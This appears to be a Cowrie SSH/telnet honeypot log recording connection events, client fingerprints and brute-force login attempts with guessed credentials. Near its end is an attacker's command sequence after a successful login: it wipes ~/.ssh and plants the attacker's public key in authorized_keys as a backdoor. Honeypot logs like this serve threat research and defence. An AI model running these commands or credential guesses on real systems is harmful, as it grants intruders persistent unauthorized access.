{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54588,"dst_ip":"159.203.135.109","dst_port":22,"session":"64049eebe733","protocol":"ssh","message":"New connection: 159.203.92.129:54588 (159.203.135.109:22) [session: 64049eebe733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:37.786113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:37.791105Z","src_ip":"159.203.92.129","session":"64049eebe733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:37.797205Z","src_ip":"159.203.92.129","session":"64049eebe733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2021","message":"login attempt [airchem/korea2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:37.808861Z","src_ip":"159.203.92.129","session":"64049eebe733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:38.815155Z","src_ip":"159.203.92.129","session":"64049eebe733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf2ccd32ef63","protocol":"telnet","message":"New connection: 5.61.90.139:60214 (10.17.0.5:23) [session: bf2ccd32ef63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:39.493289Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60230,"dst_ip":"10.17.0.5","dst_port":23,"session":"515ed0fd3ecc","protocol":"telnet","message":"New connection: 5.61.90.139:60230 (10.17.0.5:23) [session: 515ed0fd3ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:54.009748Z"}
{"eventid":"cowrie.session.closed","duration":39.62970590591431,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:56.787438Z","src_ip":"5.61.90.139","session":"b77878c6ce99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.12731742858887,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:57.110838Z","src_ip":"5.61.90.139","session":"c582d8f46cee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60236,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc913283cf1","protocol":"telnet","message":"New connection: 5.61.90.139:60236 (10.17.0.5:23) [session: dbc913283cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:57.391479Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60238,"dst_ip":"10.17.0.5","dst_port":23,"session":"873db724951f","protocol":"telnet","message":"New connection: 5.61.90.139:60238 (10.17.0.5:23) [session: 873db724951f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:57.481256Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60240,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d82766b0b36","protocol":"telnet","message":"New connection: 5.61.90.139:60240 (10.17.0.5:23) [session: 3d82766b0b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:57.660321Z"}
{"eventid":"cowrie.session.closed","duration":42.681028842926025,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:34:57.669778Z","src_ip":"5.61.90.139","session":"0db0512775af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.07550001144409,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:00.825533Z","src_ip":"5.61.90.139","session":"08f7359102ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60250,"dst_ip":"10.17.0.5","dst_port":23,"session":"71dad0f84c5b","protocol":"telnet","message":"New connection: 5.61.90.139:60250 (10.17.0.5:23) [session: 71dad0f84c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:04.698977Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":49170,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8f217c496ef","protocol":"ssh","message":"New connection: 80.253.31.232:49170 (159.203.135.109:22) [session: b8f217c496ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:09.092019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:09.096782Z","src_ip":"80.253.31.232","session":"b8f217c496ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:09.229424Z","src_ip":"80.253.31.232","session":"b8f217c496ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123!@","message":"login attempt [root/test123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:09.780629Z","src_ip":"80.253.31.232","session":"b8f217c496ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:10.922237Z","src_ip":"80.253.31.232","session":"b8f217c496ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.50496315956116,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:16.322450Z","src_ip":"5.61.90.139","session":"8a5d4a24100a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.00099539756775,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:20.494140Z","src_ip":"5.61.90.139","session":"bf2ccd32ef63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.77.165","src_port":44254,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ecfdcf38288","protocol":"telnet","message":"New connection: 23.88.77.165:44254 (159.203.135.109:23) [session: 7ecfdcf38288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:22.262160Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57082,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e5563ef1b17","protocol":"ssh","message":"New connection: 159.203.92.129:57082 (159.203.135.109:22) [session: 9e5563ef1b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:23.292880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:23.297436Z","src_ip":"159.203.92.129","session":"9e5563ef1b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:23.301588Z","src_ip":"159.203.92.129","session":"9e5563ef1b17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2022","message":"login attempt [airchem/korea2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:23.312107Z","src_ip":"159.203.92.129","session":"9e5563ef1b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:24.319521Z","src_ip":"159.203.92.129","session":"9e5563ef1b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":47472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c45b237ef4","protocol":"telnet","message":"New connection: 146.120.225.17:47472 (10.17.0.5:23) [session: c0c45b237ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:28.915209Z"}
{"eventid":"cowrie.session.closed","duration":40.16712164878845,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:34.176722Z","src_ip":"5.61.90.139","session":"515ed0fd3ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60298,"dst_ip":"10.17.0.5","dst_port":23,"session":"48b78bdf81d5","protocol":"telnet","message":"New connection: 5.61.90.139:60298 (10.17.0.5:23) [session: 48b78bdf81d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:35.684886Z"}
{"eventid":"cowrie.session.closed","duration":38.60698580741882,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:35.998345Z","src_ip":"5.61.90.139","session":"dbc913283cf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60300,"dst_ip":"10.17.0.5","dst_port":23,"session":"0916d48b6906","protocol":"telnet","message":"New connection: 5.61.90.139:60300 (10.17.0.5:23) [session: 0916d48b6906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:36.061811Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60304,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b0d1644a626","protocol":"telnet","message":"New connection: 5.61.90.139:60304 (10.17.0.5:23) [session: 3b0d1644a626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:36.428285Z"}
{"eventid":"cowrie.session.closed","duration":40.561328411102295,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:38.221534Z","src_ip":"5.61.90.139","session":"3d82766b0b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.308717489242554,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:39.789876Z","src_ip":"5.61.90.139","session":"873db724951f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.218884229660034,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:41.917526Z","src_ip":"5.61.90.139","session":"71dad0f84c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60322,"dst_ip":"10.17.0.5","dst_port":23,"session":"21bd69cef2a3","protocol":"telnet","message":"New connection: 5.61.90.139:60322 (10.17.0.5:23) [session: 21bd69cef2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:43.542308Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60326,"dst_ip":"10.17.0.5","dst_port":23,"session":"80f5bbaec2c1","protocol":"telnet","message":"New connection: 5.61.90.139:60326 (10.17.0.5:23) [session: 80f5bbaec2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:46.523234Z"}
{"eventid":"cowrie.session.closed","duration":31.19758939743042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:53.459619Z","src_ip":"23.88.77.165","session":"7ecfdcf38288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60348,"dst_ip":"10.17.0.5","dst_port":23,"session":"b21c968794e2","protocol":"telnet","message":"New connection: 5.61.90.139:60348 (10.17.0.5:23) [session: b21c968794e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:55.830916Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60350,"dst_ip":"10.17.0.5","dst_port":23,"session":"b75f21eb2348","protocol":"telnet","message":"New connection: 5.61.90.139:60350 (10.17.0.5:23) [session: b75f21eb2348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:55.992845Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60352,"dst_ip":"10.17.0.5","dst_port":23,"session":"663e5b535ac2","protocol":"telnet","message":"New connection: 5.61.90.139:60352 (10.17.0.5:23) [session: 663e5b535ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:56.324778Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":43978,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f1fa11274d","protocol":"ssh","message":"New connection: 80.253.31.232:43978 (159.203.135.109:22) [session: f9f1fa11274d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:56.627754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:56.631828Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:56.750948Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60354,"dst_ip":"10.17.0.5","dst_port":23,"session":"65626256af8d","protocol":"telnet","message":"New connection: 5.61.90.139:60354 (10.17.0.5:23) [session: 65626256af8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:57.167872Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:57.261722Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:57.543652Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:57.547164Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:57.550702Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:57.672870Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:57.944236Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:57.947297Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
